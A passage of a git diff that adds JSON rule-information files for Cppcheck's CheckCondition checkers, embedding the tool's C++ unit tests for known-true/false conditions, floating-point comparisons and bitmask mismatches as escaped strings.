char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n }\n\n void knownConditionCast() {\n check(\"void f(int i) {\\n\" // #9976\n \" if (i < 0 || (unsigned)i > 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B {\\n\" // #12941\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct One : public B {};\\n\"\n \"struct Two : public B {};\\n\"\n \"void g(const B& b) {\\n\"\n \" const Two* two = nullptr;\\n\"\n \" const One* one = dynamic_cast(&b);\\n\"\n \" if (one == nullptr)\\n\"\n \" two = dynamic_cast(&b);\\n\"\n \" if (two) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionIncrementLoop() { // #9808\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while (++a < 5) {}\\n\"\n \" if (a == 1) {}\\n\"\n \" std::cout << a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionAfterBailout() { // #12526\n check(\n \"#include \\n\"\n \"int func()\\n\"\n \"{\\n\"\n \" return VALUE_1;\"\n \"}\\n\"\n \"\\n\"\n \"struct S1 {\\n\"\n \" bool b{};\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct S {\\n\"\n \" void f(const std::list& l) const\\n\"\n \" {\\n\"\n \" if (mS.b)\\n\"\n \" return;\\n\"\n \" for (int i : l)\\n\"\n \" {\\n\"\n \" (void)i;\\n\"\n \" if (mS.b)\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" S1 mS;\\n\"\n \"};\"\n );\n ASSERT_EQUALS(\"[test.cpp:13:11] -> [test.cpp:18:13]: (style) Condition 'mS.b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void knownConditionIncDecOperator() {\n check(\n \"void f() {\\n\"\n \" unsigned int d = 0;\\n\"\n \" for (int i = 0; i < 4; ++i) {\\n\"\n \" if (i < 3)\\n\"\n \" ++d;\\n\"\n \" else if (--d == 0)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionFloating() {\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11201\n \" float f = 0x1.4p+3;\\n\" // hex fraction 1.4 (decimal 1.25) scaled by 2^3, that is 10.0\n \" if (f > 9.9) {}\\n\"\n \" if (f < 9.9) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:11]: (style) Condition 'f<9.9' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" double d = 1.0;\\n\"\n \" if (d < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'd<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" long double ld = 1.0;\\n\"\n \" if (ld < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'ld<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" float f = 1.0;\\n\"\n \" if (f < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0f;\\n\"\n \" if (f > 1.01f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01f' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0;\\n\"\n \" if (f > 1.01) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00f' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"// #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>+1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'pf>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'pf>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // / #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'nf>-1.0' is always false\\n\",\n \"\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestCondition)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkCompareValueOutOfTypeRange.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkCompareValueOutOfTypeRange.json new file mode 100644 index 0000000..bc0c555 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkCompareValueOutOfTypeRange.json @@ -0,0 +1,13 @@ +{ + "name": "checkCompareValueOutOfTypeRange", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 109, + "branches": 50, + "apis": 73, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkDuplicateConditionalAssign.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkDuplicateConditionalAssign.json new file mode 100644 index 0000000..e73ade8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkDuplicateConditionalAssign.json @@ -0,0 +1,22 @@ +{ + "name": "checkDuplicateConditionalAssign", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 52, + "branches": 20, + "apis": 63, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 6016 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkcondition.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n\nclass TestCondition : public TestFixture {\npublic:\n TestCondition() : TestFixture(\"TestCondition\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().library(\"qt.cfg\").library(\"std.cfg\").severity(Severity::style).severity(Severity::warning).build();\n /*const*/ Settings settings1 = settingsBuilder().severity(Severity::style).severity(Severity::warning).build();\n\n void run() override {\n const char cfg[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \"\";\n settings1 = settingsBuilder(settings1).libraryxml(cfg).build();\n\n mNewTemplate = true;\n TEST_CASE(assignAndCompare); // assignment and comparison don't match\n TEST_CASE(mismatchingBitAnd); // overlapping bitmasks\n TEST_CASE(comparison); // CheckCondition::comparison test cases\n TEST_CASE(multicompare); // mismatching comparisons\n TEST_CASE(overlappingElseIfCondition); // overlapping conditions in if and else-if\n TEST_CASE(oppositeElseIfCondition); // opposite conditions in if and else-if\n\n TEST_CASE(checkBadBitmaskCheck);\n\n TEST_CASE(incorrectLogicOperator1);\n TEST_CASE(incorrectLogicOperator2);\n TEST_CASE(incorrectLogicOperator3);\n TEST_CASE(incorrectLogicOperator4);\n TEST_CASE(incorrectLogicOperator5); // complex expressions\n TEST_CASE(incorrectLogicOperator6); // char literals\n TEST_CASE(incorrectLogicOperator7); // opposite expressions: (expr || !expr)\n TEST_CASE(incorrectLogicOperator8); // !\n TEST_CASE(incorrectLogicOperator9);\n TEST_CASE(incorrectLogicOperator10); // enum\n TEST_CASE(incorrectLogicOperator11);\n TEST_CASE(incorrectLogicOperator12);\n TEST_CASE(incorrectLogicOperator13);\n TEST_CASE(incorrectLogicOperator14);\n TEST_CASE(incorrectLogicOperator15);\n TEST_CASE(incorrectLogicOperator16); // #10070\n TEST_CASE(incorrectLogicOperator17);\n TEST_CASE(secondAlwaysTrueFalseWhenFirstTrueError);\n TEST_CASE(incorrectLogicOp_condSwapping);\n TEST_CASE(testBug5895);\n TEST_CASE(testBug5309);\n\n TEST_CASE(modulo);\n\n TEST_CASE(oppositeInnerCondition);\n TEST_CASE(oppositeInnerConditionPointers);\n TEST_CASE(oppositeInnerConditionClass);\n TEST_CASE(oppositeInnerConditionUndeclaredVariable);\n TEST_CASE(oppositeInnerConditionAlias);\n TEST_CASE(oppositeInnerCondition2);\n TEST_CASE(oppositeInnerCondition3);\n TEST_CASE(oppositeInnerConditionAnd);\n TEST_CASE(oppositeInnerConditionOr);\n TEST_CASE(oppositeInnerConditionEmpty);\n TEST_CASE(oppositeInnerConditionFollowVar);\n TEST_CASE(oppositeInnerConditionLambda);\n\n TEST_CASE(identicalInnerCondition);\n\n TEST_CASE(identicalConditionAfterEarlyExit);\n TEST_CASE(innerConditionModified);\n\n TEST_CASE(clarifyCondition1); // if (a = b() < 0)\n TEST_CASE(clarifyCondition2); // if (a & b == c)\n TEST_CASE(clarifyCondition3); // if (! a & b)\n TEST_CASE(clarifyCondition4); // ticket #3110\n TEST_CASE(clarifyCondition5); // #3609 CWinTraits..\n TEST_CASE(clarifyCondition6); // #3818\n TEST_CASE(clarifyCondition7);\n TEST_CASE(clarifyCondition8);\n\n TEST_CASE(alwaysTrue);\n TEST_CASE(alwaysTrueSymbolic);\n TEST_CASE(alwaysTrueInfer);\n TEST_CASE(alwaysTrueContainer);\n TEST_CASE(alwaysTrueLoop);\n TEST_CASE(alwaysTrueTryCatch);\n TEST_CASE(multiConditionAlwaysTrue);\n TEST_CASE(duplicateCondition);\n\n TEST_CASE(checkInvalidTestForOverflow);\n TEST_CASE(checkConditionIsAlwaysTrueOrFalseInsideIfWhile);\n TEST_CASE(alwaysTrueFalseInLogicalOperators);\n TEST_CASE(pointerAdditionResultNotNull);\n TEST_CASE(duplicateConditionalAssign);\n\n TEST_CASE(checkAssignmentInCondition);\n TEST_CASE(compareOutOfTypeRange);\n TEST_CASE(knownConditionCast); // #9976\n TEST_CASE(knownConditionIncrementLoop); // #9808\n TEST_CASE(knownConditionAfterBailout); // #12526\n TEST_CASE(knownConditionIncDecOperator);\n TEST_CASE(knownConditionFloating);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n bool inconclusive = false;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n void assignAndCompare() {\n // &\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y == 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y != 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y!=3' is always true. [assignIfError]\\n\", errout_str());\n\n // |\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x710);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==0x710' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x71f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // various simple assignments\n check(\"void foo(int x) {\\n\"\n \" int y = (x+1) | 1;\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int y = 1 | x();\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n // multiple conditions\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((y == 3) && (z == 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((x==123) || ((y == 3) && (z == 1)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:22]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (setvalue(&y) && y != 8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // recursive checking into scopes\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (z) y=0;\\n\"\n \" else { if (y==8); }\\n\" // always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n // while\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" while (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:11]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" while (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) y--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:15] -> [test.cpp:6:15]: (style) Mismatching assignment and comparison, comparison 'y!=0' is always true. [assignIfError]\\n\",\n errout_str());\n\n check(\"void g(int &x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // calling function\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(&y);\\n\" // passing variable => no error\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void do_something(int);\\n\"\n \"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(y);\\n\"\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4434 : false positive: ?:\n check(\"void f(int x) {\\n\"\n \" x = x & 1;\\n\"\n \" x = x & 1 ? 1 : -1;\\n\"\n \" if(x != -1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4735\n check(\"void f() {\\n\"\n \" int x = *(char*)&0x12345678;\\n\"\n \" if (x==18) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: no variable info\n check(\"void foo(int x) {\\n\"\n \" y = 2 | x;\\n\" // y not declared => no error\n \" if(y == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: negative number\n check(\"void foo(int x) {\\n\"\n \" int y = -2 | x;\\n\" // negative number => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: pass variable to function\n check(\"void foo(int x) {\\n\"\n \" int y = 2 | x;\\n\"\n \" bar(&y);\\n\" // pass variable to function => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no crash on unary operator& (#5643)\n // #11610\n check(\"SdrObject* ApplyGraphicToObject() {\\n\"\n \" if (&rHitObject) {}\\n\"\n \" else if (rHitObject.IsClosedObj() && !&rHitObject) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Condition '&rHitObject' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:42]: (style) Condition '!&rHitObject' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #5695: increment\n check(\"void f(int a0, int n) {\\n\"\n \" int c = a0 & 3;\\n\"\n \" for (int a = 0; a < n; a++) {\\n\"\n \" c++;\\n\"\n \" if (c == 4)\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while (x <= 4) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'x!=5' is always true. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while ((x += 4) < 10) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(int & x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void mismatchingBitAnd() {\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" b &= 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:5]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" int c = b & 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a;\"\n \" switch (x) {\\n\"\n \" case 1: b &= 1; break;\\n\"\n \" case 2: b &= 2; break;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparison() {\n // CheckCondition::comparison test cases\n // '=='\n check(\"void f(int a) {\\n assert( (a & 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & b & 4 & c ) == 3 );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Expression '(X & 0x4) == 0x3' is always false. [comparisonError]\\n\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) == 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x01) == -15 );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '!='\n check(\"void f(int a) {\\n assert( (a & 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '>='\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) >= 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) >= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) >= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) >= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) >= 8U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '>'\n check(\"void f(int a) {\\n assert( (a & 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) > 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x7) > 6U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) > 0x6' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) > 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) > 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<='\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) <= 0x7' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(unsigned int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x8) <= 0x7' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) <= 6U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x08) <= 7U );\\n}\");\n ASSERT_EQUALS(\"\",errout_str()); //correct for negative 'a'\n // '<'\n check(\"void f(int 